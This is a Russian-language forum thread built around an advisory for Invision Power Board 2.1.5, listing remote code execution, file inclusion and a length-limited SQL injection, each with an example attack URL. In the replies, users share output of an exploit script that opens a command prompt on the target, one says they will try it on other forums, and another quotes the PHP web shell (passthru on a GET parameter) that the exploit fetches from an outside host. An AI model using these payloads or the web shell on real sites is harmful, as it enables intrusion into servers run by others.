    Программа: Invision Power Board
    Уязвимые версии: 2.1.5 и, возможно, более ранние версии
    Тип: remote
    Опасность: высокая
    Описание ->
    1. Выполнение произвольного кода возможно из-за недостаточной фильтрации входящих от пользователя данных. Злонамеренный пользователь может сформировать текст сообщения, а затем выполнить произвольный код.
    2. Подключение произвольных файлов возможно при наличии администраторских прав.
    Пример:

    _http://host/admin.php?adsess=…&section=content&act=msubs&code=install-gateway&name=%08%08%08%08%08%08%08%08%08/../class_gw_test*[/url]

    3. SQL-инъекция в файле sources/lib/func_taskmanager.php
    Злонамеренный пользователь может сформировать и выполнить произвольный запрос в базе данных (длина запроса не должна превышать 32 символа).
    Пример:

    _http://www.host.com/index.php?act=task&ck='

    Решение: решения в настоящий момент не существует
    Источник: spam_(at)_we11er.co.uk

    SQL-инъекция работает, жаль ограничение 32 символа =(

    у меня всё ок,почти тока когда надо выполнять команду,ввожу и всё равно ничего =)),сейчас буду пробывать на других форумах
    Code:
    [~]    TARGET : 0 - IPB 2.0.*
[~] Login ...  [ DONE ]
[+] SID: eba6aea1bb52b4e2b96e71496c1d019d
[~] Try get md5_check ... [ DONE ]
[+] MD5_CHECK : 37b1d4a901d9fa423421d1c3b04181c9
[~] Create new message ... [ DONE ]
[~] Search message ... [ DONE ]
[+] SEARCHID: 57404f05bbfa5153ffd009ac0782d291
Command for execute or 'exit' for exit # id
Command for execute or 'exit' for exit # ls -la
Command for execute or 'exit' for exit # uname -a
Command for execute or 'exit' for exit # exit
    в чем может быть проблема ?

    и ещё очень часто:
    Code:
    [~] Login ...  [ DONE ]
[+] SID: 1cac47e9bc3eb086a6931ebb997d926b
[~] Try get md5_check ... [ FAILED ]

    В сплоите в 95 строке есть зашифрованая в charsete ссылка _http://rst.void.ru/r57ipbinc.txt с содержимым

    Code:
    <?
/*
r57ipbce exploit include file
*/
passthru($_GET['eharniy_ekibastos']);
?>

    Хм... У меня сплойт пишет
    [~] Create new message ... [ FILED ]

    На форуме появляется новая тема с мессагой. В сообщении эта самая шифровка из 95 строки.
